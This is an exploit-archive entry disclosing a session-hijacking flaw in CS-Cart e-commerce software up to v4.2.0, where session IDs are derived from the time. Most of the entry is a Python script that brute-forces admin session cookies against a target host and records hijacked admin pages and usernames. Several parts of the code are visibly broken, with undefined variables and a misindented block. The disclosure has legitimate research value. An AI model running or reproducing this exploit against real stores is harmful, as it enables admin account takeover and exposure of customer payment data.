Author

Nik Cubrilovic

Risk

[

Security Risk Medium

]

0day-ID

0day-ID-22513

Category

web applications

Date add

13-08-2014

Platform

php

Vendor: CS-Cart
Homepage: https://www.cs-cart.com
Fixed in: v4.2.1
Released: July 22nd 2014

CS-Cart is 127MB of shitty PHP and HTML code that is supposed to
function as a secure e-commerce site. It is developed by people who
don't reply to emails but who covertly patch bugs reported to them and
then don't tell anyone about it. For some reason a lot of people run
it, and pay for it, and store customer credit cards in it.

In versions up to v4.2.0 the session ID is nothing more than the md5
hash of uniqid() with time() passed to it. Turns out uniqid() is
itself nothing more than a call to time(), and that makes a horrible
session ID.

Other bugs mean you can trigger session regeneration with a URL,
meaning you can narrow down the brute force search space.

Blog post explainer with exploit etc. here:

https://www.nikcub.com/posts/cs-cart-v4-2-0-session-hijacking-and-other-vulnerabilities/

Vendor changelog with no mention of security:

http://www.cs-cart.com/changelog421.html


---------------
Exploit:

#!/usr/bin/env python
# CS-Cart session brute force exploit for v4.2.0
# see https://www.nikcub.com/posts/cs-cart-v4-2-0-session-hijacking-and-other-vulnerabilities/

import sys
import requests
import argparse
import re
import string
import random
import hashlib

from BeautifulSoup import BeautifulSoup

target_host = "cscart.dev"
target_ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:20.0) Gecko/20100101 Firefox/20.0"
target_start_time = 1402325013 # timestamp seconds set to when link was clicked + 3-4 seconds for login.

# change nothing below.

session_name = False
session_value = False
cookies = {}


headers = {
  "Host": target_host,
  "User-Agent": target_ua,
  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
  "Accept-Language": "en-US,en;q=0.5",
  "Accept-Encoding": "gzip, deflate"
}


proxies = proxy_none
req_base = 'http://' + host
req_url = req_base + '/admin.php'

def extract_username(html_doc):
  soup = BeautifulSoup(html_doc)
  menu = soup.find("ul", "dropdown-menu pull-right").find("li").find("a")
  if menu:
    return re.search(r'<br />(.*?)</a>', str(menu), re.DOTALL).group(1).strip()
  return 'Not Found'

def rand_string(n=5):
  return ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(n))

def save_doc(tid, txt):
  f = open(tid + '_' + rand_string() + '.txt', 'w')
  f.write(txt.encode('ascii', 'ignore'))
  f.close()

def req_att(path, cookie):
  cookies[session_name] = cookie
  r = requests.get(req_base + path, headers=headers, allow_redirects=False)

def calc_session_name(host):
  return hashlib.md5(host).hexdigest()[:5]

def gen_value(basetime, usec):
  return hashlib.md5("%s%08x%05x" % (basetime, basetime, usec)).hexdigest() + "_0_A"

def req_generator(startat):
  usec = 0
  startat = startat
  while True:
    r = gen_value(startat, usec)
    usec += 1
    if (usec%10000) == 0:
      #  print progress every 100000
      print '.'
    if usec >= 100000:
      usec = 0
      startat += 1
    yield r

session_name = calc_session_name(req_base)

def fetch(cookie):
  # cookies = {cookie_name, cookie}
  headers['Cookie'] = cookie_name + '=' + cookie
  try:
    response = requests.request('GET', req_url, headers=headers, proxies=proxies, timeout=30.0, allow_redirects=False)
    if response.status_code != 302:
    print "FOUND: " + session_name + "=" + session_guess
    save_doc(host + '_' + session_guess, "\n".join(r.headers) + "\n" + r.text)
    print "Wrote file backup"
    print "Signed in as: " + extract_username(r.text)
  except Exception, e:
    pass

for url in req_generator(target_start_time):
  fetch(url)

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